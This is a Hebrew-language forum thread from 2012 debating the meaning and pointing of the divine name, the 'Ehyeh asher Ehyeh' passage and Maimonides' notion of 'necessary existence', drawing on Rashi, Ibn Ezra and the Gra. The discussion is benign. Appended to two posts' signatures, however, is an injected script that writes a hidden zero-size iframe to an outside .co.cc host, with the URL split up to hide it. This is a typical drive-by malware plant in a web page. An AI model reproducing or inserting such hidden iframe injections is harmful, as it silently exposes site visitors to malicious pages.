אכן כן הוא בבביאור הגר"א על השולחן ערוך שם, וזה לשונו: וגם אם בא לחשוב פי' כתיבתו אין פירושו כן אלא נמצא קיים וכמו שם אשתו חוה וכמ"ש הר"ש וש"מ:
לכאורה היה נראה לי ששם ה' כשהוא קורא לעצמו (גוף ראשון) זה "אהיה". ["...אֶהְיֶה אֲשֶׁר אֶהְיֶה. וַיֹּאמֶר כֹּה תֹאמַר לִבְנֵי יִשְׂרָאֵל אֶהְיֶה שְׁלָחַנִי אֲלֵיכֶם" - פי', שמי "אהיה" כי אהיה תמיד] כשאנו אומרים את שמו, איננו אומרים "אהיה" אלא "יהיה", אך כדי לא להשתמש במילת חול כל-כך שכיחה, י התחלפה ל- ו, ונהיה "יהו-ה".
אם כך, פירוש שמו זה "יהיה תמיד"/"אשר יהיה".
כן מתבאר מדברי האבן עזרא שם והרשב"ם, וכמו שציין להם כבר הגר"א.
קושיא על זה:
אם כדברי, הניקוד היה צריך להיות 'יִהְוֶ-ה' כמו 'יִהְיֶה'.
אך לכאורה הניקוד הוא או 'יָהוּ -ה' (ה אחרונה נחה), כמו בשמות: יְשַׁעְיָהוּ,יִרְמְיָהוּ,צִדְקִיָּהוּ,וכו'
או 'יְהוֹ -ה' (ה אחרונה נחה), כמו בשמות: יְהוֹיָקִים,יְהוֹשָׁפָט,וכו'
(כמובן בשמות אלו הכוונה היא לה')
מקוה שמישהו הבקי בתנועות בעיברית העתיקה יעזור לי.
אולי אם חולם זה OW (כשיטת הרב המבורגר) ושורוק זה UW, אז זה די דומה.
על הניקוד אעיר בהמשך באריכות בעזרת ה'.
תוקן על ידי פינגווינאי ב- 16/01/2012 18:20:39
|
|
 |
|
|
|
|
| נשלח ב-16/1/2012 23:56 |
|
| |
| מיימוני כתב: |  | צבי
אכן יש לברר מה בדיוק ביקש משה מה'.
יתכן, ויש לבדוק זאת בזהירות, שהשאלה לא היתה על "השם הנכון" אלא על זהות.
אבהיר על ידי דוגמא:
נניח שאני שואל מהו "שולחן", "TABLE", "TISCH, וכו'. התשובה היא בדרך כלל שזה אותו דבר, רק בשפות שונות.
וזו גם התשובה לשאלה: מה השם הנכון של החפץ הזה.
מה הנמשל?
שולחנות יש רבים ואלוקים יש רק אחד. אבל העמים בתקופה ההיא האמינו כל אחד באליליו. שאלה סבירה היא אם כן אל הנביא: בשם מי אתה מדבר עמנו? בשם אלוקי אברהם, יצחק ויעקב? האם הוא לא נותר מאחור, בארץ כנען?
נכון שיוסף הזכיר שם אלוקים ונראה שאשת פוטיפר הבינה את דבריו, אבל אולי עם ישראל בימי משה לא ידעו אפילו דבר פשוט כל כך, שיש אלוקים אחד והוא אלוקי אבותיהם. ואולי בעצם זה לא כל כך פשוט.
לפי זה, השאלה אינה על מהותו של ה' (שעל זה אין תשובה אלא שלילה פילוסופית או הצהרה על תארי הפעולה שלו, כולל אהבתו לנו ואהבתו לצדק) וגם לא על שם מסויים (ובודאי שאין כאן גישה מאגית, כלומר ששליטה בשם היא שליטה בכוחות אלו ואחרים). אלא שאלה של שפה והתייחסות. כיצד פונים לעם כדי לספר לו על אלוקים בשעה שאין מילים מספיק מתאימות למטרה הזו.
ולפי זה יפו דברי רש"י על פי המדרש. "אהיה אשר אהיה", אני שעמם בשיעבוד זה ואני שאהיה איתם (עם האדם) בכל שיעבוד שהוא. ולכן גם כאילו חזר בו השם לאחר הערת משה שלשמוע שה' יהיה איתם תמיד, גם בצרות אחרות, מזכיר להם שיהיו צרות אחרות. ולמרות שזו מהותו של האדם, לא תמיד יש כוח לשמוע על זה, ועדיף לספר רק על הגאולה מהצרה הנוכחית ולא להתעסק בעתיד רחוק. ולכן ה' קיצר ואמר לו: אמור להם "אהיה", אלוקי אבותיכם שמשגיח וגואל אתכם, הוא שלח את משה אליכם.
לפי זה, אף השם בן ארבע אותיות, אם הוא אכן בא מלשון נסתר (גוף שלישי) של "אהיה", אומר רק את הדבר הזה, והוא מבוסס על תשובת ה' למשה לפי צרת ישראל באותו זמן. וכל מה שנקשר מסביבו מאוחר יותר הוא פרשנות, ולא תמיד נכונה. _________________ שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");> |
|
ומה תאמר על תחילת הפרשה שלנו פרשת השבוע, ואלו הם הפסוקים:(ב) וַיְדַבֵּר אֱלֹהִים אֶל מֹשֶׁה וַיֹּאמֶר אֵלָיו אֲנִי יְקֹוָק:
(ג) וָאֵרָא אֶל אַבְרָהָם אֶל יִצְחָק וְאֶל יַעֲקֹב בְּאֵל שַׁדָּי וּשְׁמִי יְקֹוָק לֹא נוֹדַעְתִּי לָהֶם:
(ד) וְגַם הֲקִמֹתִי אֶת בְּרִיתִי אִתָּם לָתֵת לָהֶם אֶת אֶרֶץ כְּנָעַן אֵת אֶרֶץ מְגֻרֵיהֶם אֲשֶׁר גָּרוּ בָהּ:
(ה) וְגַם אֲנִי שָׁמַעְתִּי אֶת נַאֲקַת בְּנֵי יִשְׂרָאֵל אֲשֶׁר מִצְרַיִם מַעֲבִדִים אֹתָם וָאֶזְכֹּר אֶת בְּרִיתִי:
(ו) לָכֵן אֱמֹר לִבְנֵי יִשְׂרָאֵל אֲנִי יְקֹוָק
אשר מוכיחים להדיא שיש כאן עניין במשמעות השמות.
|
|
|
|
| נשלח ב-16/1/2012 23:38 |
|
| |
כמובן, השם בן ארבע אותיות אינו זהה למילה "יהיה". אך אפשר שהשינוי בא בגלל שזה שם ה'. כפי שמצאנו ששם אדנות (א-ד-נ-י) בא בניקוד שונה במקצת (קמץ במקום פתח) וגם שם כמסתבר כדי לשמור על הבדל בין לשון רבים של "אדונים שלי" לבין שם השם.
אני מסכים שאין כאן הסבר מושלם במובן שאין לי הסבר מדוע זה כך ולא אחרת. מצד שני, האם באמת צריך להיות "כך ולא אחרת"? האם שני העקרונות, לחפש שם משמעותי ולשנותו קצת מפני הכבוד, אינם מספיקים?
אני כמובן פתוח להצעות הסבר אחרות.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
| נשלח ב-16/1/2012 18:11 |
|
| |
זכור לי שבביאור הגר"א כתב שהביאור הוא "נמצא וקיים", ולא "היה הוה ויהיה" כהשו"ע. לכאורה היה נראה לי ששם ה' כשהוא קורא לעצמו (גוף ראשון) זה "אהיה". ["...אֶהְיֶה אֲשֶׁר אֶהְיֶה. וַיֹּאמֶר כֹּה תֹאמַר לִבְנֵי יִשְׂרָאֵל אֶהְיֶה שְׁלָחַנִי אֲלֵיכֶם" - פי', שמי "אהיה" כי אהיה תמיד] כשאנו אומרים את שמו, איננו אומרים "אהיה" אלא "יהיה", אך כדי לא להשתמש במילת חול כל-כך שכיחה, י התחלפה ל- ו, ונהיה "יהו-ה".
אם כך, פירוש שמו זה "יהיה תמיד"/"אשר יהיה".
קושיא על זה: אם כדברי, הניקוד היה צריך להיות 'יִהְוֶ-ה' כמו 'יִהְיֶה'. אך לכאורה הניקוד הוא או 'יָהוּ -ה' (ה אחרונה נחה), כמו בשמות: יְשַׁעְיָהוּ,יִרְמְיָהוּ,צִדְקִיָּהוּ,וכו' או 'יְהוֹ -ה' (ה אחרונה נחה), כמו בשמות: יְהוֹיָקִים,יְהוֹשָׁפָט,וכו' (כמובן בשמות אלו הכוונה היא לה') מקוה שמישהו הבקי בתנועות בעיברית העתיקה יעזור לי. אולי אם חולם זה OW (כשיטת הרב המבורגר) ושורוק זה UW, אז זה די דומה.
תוקן על ידי פינגווינאי ב- 16/01/2012 18:20:39
|
|
|
|
| נשלח ב-16/1/2012 12:38 |
|
| |
גוף נסתר של אהיה הוא יהיה.ולכן כאשר האות השלישית מתחלפת לו' המשמעות משתנה.
|
|
|
|
| נשלח ב-16/1/2012 09:31 |
|
| |
צבי
אכן יש לברר מה בדיוק ביקש משה מה'.
יתכן, ויש לבדוק זאת בזהירות, שהשאלה לא היתה על "השם הנכון" אלא על זהות.
אבהיר על ידי דוגמא:
נניח שאני שואל מהו "שולחן", "TABLE", "TISCH, וכו'. התשובה היא בדרך כלל שזה אותו דבר, רק בשפות שונות.
וזו גם התשובה לשאלה: מה השם הנכון של החפץ הזה.
מה הנמשל?
שולחנות יש רבים ואלוקים יש רק אחד. אבל העמים בתקופה ההיא האמינו כל אחד באליליו. שאלה סבירה היא אם כן אל הנביא: בשם מי אתה מדבר עמנו? בשם אלוקי אברהם, יצחק ויעקב? האם הוא לא נותר מאחור, בארץ כנען?
נכון שיוסף הזכיר שם אלוקים ונראה שאשת פוטיפר הבינה את דבריו, אבל אולי עם ישראל בימי משה לא ידעו אפילו דבר פשוט כל כך, שיש אלוקים אחד והוא אלוקי אבותיהם. ואולי בעצם זה לא כל כך פשוט.
לפי זה, השאלה אינה על מהותו של ה' (שעל זה אין תשובה אלא שלילה פילוסופית או הצהרה על תארי הפעולה שלו, כולל אהבתו לנו ואהבתו לצדק) וגם לא על שם מסויים (ובודאי שאין כאן גישה מאגית, כלומר ששליטה בשם היא שליטה בכוחות אלו ואחרים). אלא שאלה של שפה והתייחסות. כיצד פונים לעם כדי לספר לו על אלוקים בשעה שאין מילים מספיק מתאימות למטרה הזו.
ולפי זה יפו דברי רש"י על פי המדרש. "אהיה אשר אהיה", אני שעמם בשיעבוד זה ואני שאהיה איתם (עם האדם) בכל שיעבוד שהוא. ולכן גם כאילו חזר בו השם לאחר הערת משה שלשמוע שה' יהיה איתם תמיד, גם בצרות אחרות, מזכיר להם שיהיו צרות אחרות. ולמרות שזו מהותו של האדם, לא תמיד יש כוח לשמוע על זה, ועדיף לספר רק על הגאולה מהצרה הנוכחית ולא להתעסק בעתיד רחוק. ולכן ה' קיצר ואמר לו: אמור להם "אהיה", אלוקי אבותיכם שמשגיח וגואל אתכם, הוא שלח את משה אליכם.
לפי זה, אף השם בן ארבע אותיות, אם הוא אכן בא מלשון נסתר (גוף שלישי) של "אהיה", אומר רק את הדבר הזה, והוא מבוסס על תשובת ה' למשה לפי צרת ישראל באותו זמן. וכל מה שנקשר מסביבו מאוחר יותר הוא פרשנות, ולא תמיד נכונה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-15/1/2012 23:35 |
|
| |
| מיימוני כתב: |  | כמדומה שנושא זה עלה לפחות פעם אחת בפורום. אני מציין זאת לא בגלל שאין ראוי לפתוח אשכול. לדעתי כן. אלא ששם ציטטתי כמדומה מתוך הספר "רומא וירושלים" של הס, שבו דן בנושא זה, והופתעתי לגלות את דבריו. ואם ימצא אי מי את הדברים ראוי להביאם לכאן.
***
לגבי עצם הדיון -
האם יש חשיבות לשם? איך נקבעים שמות? האם שם של אלוקים אמור להיות שונה?
לא הבנתי את השאלה, אם רואים שמשה רבינו שואל ואמרו לי מה שמו והקב"ה עונה לו, וכן בריש פרשת וארא על שם 'אל שדי' שרק בו נראה ונודע לאבות לעומת שם 'הוי"ה' שבו הוא נגלה למשה, הרי שעניין השם הוא מאוד מרכזי.
***
לגבי "מוכרח המציאות" -
כמדומה שמונח זה הוא פרי יצירת הרמב"ם בעקבות הפילוסופיה שלו. וזה מזכיר ביותר ממשהו את ההוכחה האונטולוגית למציאות האלקים. האלקים הוא זה אשר "מציאות" היא אחד המאפיינים של מהותו.
הסבר קצרצר: כל דבר בעולם אפשר שיהיה ואפשר שלא יהיה. גם מה שנמצא, כגון אני הכותב, את/ה הקורא/ת, המחשב שלי, המחשב שלך, ועוד ועוד, כל מה שבכדור הארץ ובגלקסיות, יכול היה להיות אחרת.
הביטוי "יכול היה להיות אחרת" הוא אמנם לא פשוט כפי שהוא נראה אבל רובנו מבינים אותו אינטואיטיבית וסבורים שיש בו ממש. ואדרבה, זו שאלה גדולה: מדוע אנו כאן? מדוע יש משהו במקום לא כלום?
לפי שלכל דבר בעולם יש מהות ומאפיינים, ואפשר שיתקיימו ואפשר שלא. אני לא הייתי לפני שנבראתי ונולדתי. אין מציאותי מוכרחת.
אולם לגבי ה' יש אומרים שמציאותו מוכרחת, ולכן מעצם מושגו מוכרח קיומו.
יש לערער על הוכחה זו, וגם הרמב"ם אינו משתמש בה ממש בצורה זו, אבל הוא עדיין כותב שיש תלות של העולם בה' ואין תלות הפוכה של ה' בעולם.
יכול היה שלא להיות עולם ועדיין היה השם. אלא שאם לא היה השם (וזו כמסתבר סתירה מושגית או לוגית) אז לא יכול היה להיות עולם.
מכאן הכינוי לה' - מוכרח המציאות או "מחוייב המציאות".
אני רואה ברמב"ם שהכינו או הביטוי ' מוכרח המציאות' הוא יותר פשוט.
וזה לשון הרמב"ם ב מורה הנבוכים חלק א פרק נז אמנם מי שאין סבה למציאותו, והוא השם יתעלה ויתרומם לבדו, כי זה הוא ענין אמרנו עליו יתברך שהוא מחויב המציאות,
והיינו שכיוון שהיה לעולמים ויהיה לעולמים הרי שאין סיבה למציאותו, וטעם שהוא נמצא לפי שהוא נמצא, וזהו עניין מוכרח המציאות.
והעיקר בזה שסיבה צריך להיות לדבר שנוצר, ואילו דבר שהיה ויהיה תמיד אין שום צורך לחפש סיבה למציאותו, ובאמת אין סיבה.
כיון שמשה רבנו ועם ישראל ברוב הדורות, כולל הרבנים והנביאים, לא ידעו פילוסופיה (גם אם הרמב"ם האמין בזה) וכיון שהכרתם את האלקים, גם אם היתה בהירה, חכמה, אינטואיטיבית, אולי מיסטית, שלא כמו שלי, עדיין לא יכלו להכיר את המונח "מחוייב המציאות" וגם לא להכיר מונח מקביל לו.
לפיכך שום שם של האלקים שמופיע במקרא אינו יכול להיות נושא משמעות זו של "מחוייב המציאות" במובן שבארתי כאן.
לדרכי המונח הרבה יותר פשוט כך שגם אם לא יכלו לדעת את המונח בסגנון הזה, הרי שאת את הרעיון שלו ברור שיכלו לדעת שהוא רעיון מאוד פשוט.לגופו של עניין אני בהחלט מסכים שזה לא פשט הדברים, ולו בגלל שזה לא היה נושא שמעסיק את הקדמונים שלפני הפילוסופים השייכים לאסכולת יון והנמשכים אחריהם. חוץ ממה שלפי עניות דעתי אין זה פשט המקראות ועל כך בהמשך.
אמנם, לאחר שאנו מבינים את הרעיון, כמדומה שאי אפשר להשתמט מזה שהוא נכון (יש גיל שבו מגלים ששתיים ועוד שתיים הן ארבע, אבל ברגע שמגלים יודעים שתמיד היה כך גם לפני שגילינו זאת).
האם זה מה שיש לייחס כמובן לשם ה' זה או אחר? יש לדון.
תוקנה טעות הקלדה
שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 15/01/2012 17:05:01 |
|
 |
|
|
|
|
| נשלח ב-15/1/2012 22:23 |
|
| |
צבי, השבוע חשבתי שהפסוקים של פרשתינו אכן נותנים מבט ראוי למובן של שם הוי"ה כמשמעות של היה הווה ויהיה, באשר כל הנושא הנידון בפתיחת הפרשה , מגיע על רקע כשלון תפיסת הא-ל המתגלה במציאות ההווה שהרי גם משה (ובודאי בני ישראל) לא מצליחים במצב הקשה של ההווה המתקיים במצרים למצוא מוצא למצב, ואז מוציא הקב"ה את שם הוי"ה אל פועל המציאות (או לחילופין אל התודעה/נבואה של משה רבינו) ומגלה לו שגאולת מצרים לא מגיעה מצד ההווה , אלא כחלק ממבט כולל שמתחיל באבות וצופה אל העתיד אליו הקב"ה מייעד את בני ישראל , ובהתאם לכל זה מתרחש גם ההווה לכל הפחות בהקשר של יציאת מצרים (ולהבנתי גם בכלל).
|
|
|
|
|